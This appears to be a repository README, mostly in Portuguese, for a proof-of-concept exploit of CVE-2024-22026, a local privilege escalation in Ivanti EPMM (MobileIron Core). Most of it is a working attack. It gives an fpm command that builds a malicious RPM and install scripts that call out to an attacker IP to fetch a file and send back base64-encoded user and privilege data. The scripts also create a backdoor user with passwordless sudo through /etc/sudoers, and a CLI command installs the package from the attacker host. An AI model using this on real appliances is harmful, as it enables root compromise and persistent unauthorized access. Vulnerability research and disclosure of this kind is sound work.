
Exploit POC for CVE-2024-22026 affecting Ivanti EPMM "MobileIron Core"
POC de Exploit para CVE-2024-22026 afetando o servidor Ivanti EPMM "MobileIron Core"

CVE-2024-22026 é uma vulnerabilidade de escalação de privilégio local no servidor Ivanti EPMM (anteriormente MobileIron) em versões anteriores a 12.1.0.0, 12.0.0.0 e 11.12.0.1. Esta vulnerabilidade permite que um atacante local obtenha acesso root ao sistema explorando o processo de atualização de software com um pacote RPM malicioso de uma URL remota.
Leia o post completo do blog para informações técnicas detalhadas: Explorando CVE-2024-22026: Obtendo Root no Ivanti EPMM (MobileIron Core)
Durante nossa pesquisa, descobrimos que o appliance usa o seguinte comando para buscar e instalar pacotes RPM como um usuário de baixo privilégio:
install rpm url <remote url>
O comando acima é apenas um wrapper CLI para o seguinte, que é executado como root:
/bin/rpm -Uvh *.rpm
Este comando rpm subjacente não aplica nenhuma verificação de assinatura ou filtragem de URL, o que significa que qualquer pacote RPM pode ser instalado. Isso permite que um atacante forje e entregue um pacote RPM malicioso que pode comprometer o appliance.
O seguinte comando é usado para criar um pacote RPM malicioso:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
Para explorar a vulnerabilidade, o atacante executaria o seguinte comando na CLI para buscar e instalar o RPM malicioso:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
A Ivanti lançou patches para abordar a CVE-2024-22026 nas seguintes versões:
Este repositório e seu conteúdo são destinados apenas para fins educacionais e de pesquisa. O uso das informações aqui contidas é por sua própria conta e risco.